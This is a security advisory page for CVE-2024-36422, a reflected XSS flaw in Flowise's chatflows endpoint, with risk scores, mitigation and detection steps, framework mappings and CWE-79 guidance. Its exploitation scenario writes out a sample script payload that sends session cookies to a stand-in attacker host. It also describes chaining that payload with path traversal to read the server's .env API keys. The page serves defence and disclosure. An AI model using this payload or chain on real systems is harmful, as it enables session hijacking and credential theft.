CVE-2024-36422: Flowise reflected XSS enables

CISO Take

Flowise 1.4.3 contains a reflected XSS vulnerability where unvalidated chatflow IDs are echoed directly into HTML 404 error responses, allowing an attacker to execute arbitrary JavaScript in a victim's browser session. The default Flowise configuration runs without authentication, meaning there is no credential barrier—any external attacker can exploit this by sending a crafted URL to an admin or user, and a public PoC is already available with low attack complexity confirmed by the CVSS AC:L/PR:N ratings. Critically, this XSS chains with a path traversal flaw in the same endpoint to enable server-side file reads, potentially exposing LLM API keys, system prompts, and workflow configurations stored on the Flowise host—escalating a Medium CVSS 6.1 into a high-impact credential compromise scenario. With no patch available at time of publication and 16 cumulative CVEs in Flowise signaling systemic security debt, immediately enable authentication, restrict access via VPN or IP allowlist, and rotate any credentials stored on the Flowise server.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

Rated CVSS 6.1 Medium, but practical risk is significantly higher due to three compounding factors: default unauthenticated deployment, public PoC availability, and XSS-to-file-read chaining capability. The AV:N/AC:L/PR:N vector means any network-reachable Flowise instance is trivially exploitable by anyone who can deliver a URL to a legitimate user. Flowise is commonly deployed in internal environments for LLM workflow prototyping, where staff may have lower security awareness. The 16-CVE history in this package indicates slow patching velocity and a broad, poorly hardened attack surface.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Flowise	npm	—	No patch

Do you use Flowise? You're affected.

How severe is it?

CVSS 3.1

6.1 / 10

EPSS

0.4%

chance of exploitation in 30 days

Higher than 33% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI Required

S Changed

C Low

I Low

A None

What should I do?

6 steps

IMMEDIATE

Enable Flowise authentication via FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables—this blocks unauthenticated exploitation of the default setup.
NETWORK

Place Flowise behind a VPN, reverse proxy with IP allowlisting, or firewall rules to prevent external access.
PATCH

Monitor FlowiseAI/Flowise GitHub releases for a fix addressing CVE-2024-36422 and upgrade as soon as available.
AUDIT

Review the Flowise server filesystem for sensitive files (.env, API key stores, credential configs) accessible via the path traversal chain; rotate any potentially exposed credentials immediately.
DETECT

Review web server logs for requests to /api/v1/chatflows/ containing URL-encoded script tags or JavaScript in the ID parameter.
WORKAROUND

If authentication cannot be enabled immediately, block the /api/v1/chatflows/ endpoint at the WAF or reverse proxy layer for unauthenticated external requests.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Data Leakage Data Extraction Framework Agent AML.T0011.003 - Malicious Link AML.T0037 - Data from Local System AML.T0049 - Exploit Public-Facing Application AML.T0055 - Unsecured Credentials

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, Robustness and Cybersecurity

ISO 42001

A.6.1.5 - Information security in AI system development

NIST AI RMF

MANAGE 2.2 - Mechanisms are in place to address AI risks

OWASP LLM Top 10

LLM02 - Sensitive Information Disclosure LLM05 - Improper Output Handling

Frequently Asked Questions

What is CVE-2024-36422?

Flowise 1.4.3 contains a reflected XSS vulnerability where unvalidated chatflow IDs are echoed directly into HTML 404 error responses, allowing an attacker to execute arbitrary JavaScript in a victim's browser session. The default Flowise configuration runs without authentication, meaning there is no credential barrier—any external attacker can exploit this by sending a crafted URL to an admin or user, and a public PoC is already available with low attack complexity confirmed by the CVSS AC:L/PR:N ratings. Critically, this XSS chains with a path traversal flaw in the same endpoint to enable server-side file reads, potentially exposing LLM API keys, system prompts, and workflow configurations stored on the Flowise host—escalating a Medium CVSS 6.1 into a high-impact credential compromise scenario. With no patch available at time of publication and 16 cumulative CVEs in Flowise signaling systemic security debt, immediately enable authentication, restrict access via VPN or IP allowlist, and rotate any credentials stored on the Flowise server.

Is CVE-2024-36422 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-36422, increasing the risk of exploitation.

How to fix CVE-2024-36422?

1. IMMEDIATE: Enable Flowise authentication via FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables—this blocks unauthenticated exploitation of the default setup. 2. NETWORK: Place Flowise behind a VPN, reverse proxy with IP allowlisting, or firewall rules to prevent external access. 3. PATCH: Monitor FlowiseAI/Flowise GitHub releases for a fix addressing CVE-2024-36422 and upgrade as soon as available. 4. AUDIT: Review the Flowise server filesystem for sensitive files (.env, API key stores, credential configs) accessible via the path traversal chain; rotate any potentially exposed credentials immediately. 5. DETECT: Review web server logs for requests to /api/v1/chatflows/ containing URL-encoded script tags or JavaScript in the ID parameter. 6. WORKAROUND: If authentication cannot be enabled immediately, block the /api/v1/chatflows/ endpoint at the WAF or reverse proxy layer for unauthenticated external requests.

What systems are affected by CVE-2024-36422?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LLM workflow orchestration, RAG pipelines, chatbot deployments.

What is the CVSS score for CVE-2024-36422?

CVE-2024-36422 has a CVSS v3.1 base score of 6.1 (MEDIUM). The EPSS exploitation probability is 0.41%.

What is the AI security impact?

Affected AI Architectures

agent frameworksLLM workflow orchestrationRAG pipelineschatbot deployments

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link

AML.T0037 Data from Local System

AML.T0049 Exploit Public-Facing Application

AML.T0055 Unsecured Credentials

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.1.5

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM02, LLM05

What are the technical details?

Original Advisory

Flowise is a drag & drop user interface to build a customized large language model flow. In version 1.4.3 of Flowise, a reflected cross-site scripting vulnerability occurs in the `api/v1/chatflows/id` endpoint. If the default configuration is used (unauthenticated), an attacker may be able to craft a specially crafted URL that injects Javascript into the user sessions, allowing the attacker to steal information, create false popups, or even redirect the user to other websites without interaction. If the chatflow ID is not found, its value is reflected in the 404 page, which has type text/html. This allows an attacker to attach arbitrary scripts to the page, allowing an attacker to steal sensitive information. This XSS may be chained with the path injection to allow an attacker without direct access to Flowise to read arbitrary files from the Flowise server. As of time of publication, no known patches are available.

Exploitation Scenario

An adversary targeting an organization using Flowise for LLM workflow orchestration identifies the Flowise instance via Shodan, internal network scanning, or reconnaissance. They craft a URL to the Flowise chatflows API endpoint with a JavaScript payload embedded in the chatflow ID parameter (e.g., /api/v1/chatflows/<script>document.location='https://attacker.com/c?d='+document.cookie</script>) and deliver it to a Flowise administrator via phishing email or an internal Slack message. When the admin clicks the link, Flowise returns a 404 page with the script reflected as text/html, executing it in the admin's browser and exfiltrating session tokens or credentials to the attacker's server. In a chained variant, the attacker crafts an XSS payload that performs a secondary fetch to a path traversal URL (e.g., reading /opt/flowise/.env), silently exfiltrating OpenAI or Anthropic API keys and giving the attacker full access to the organization's LLM infrastructure without ever touching the server directly.

Weaknesses (CWE)

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Primary CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

[Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
[Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.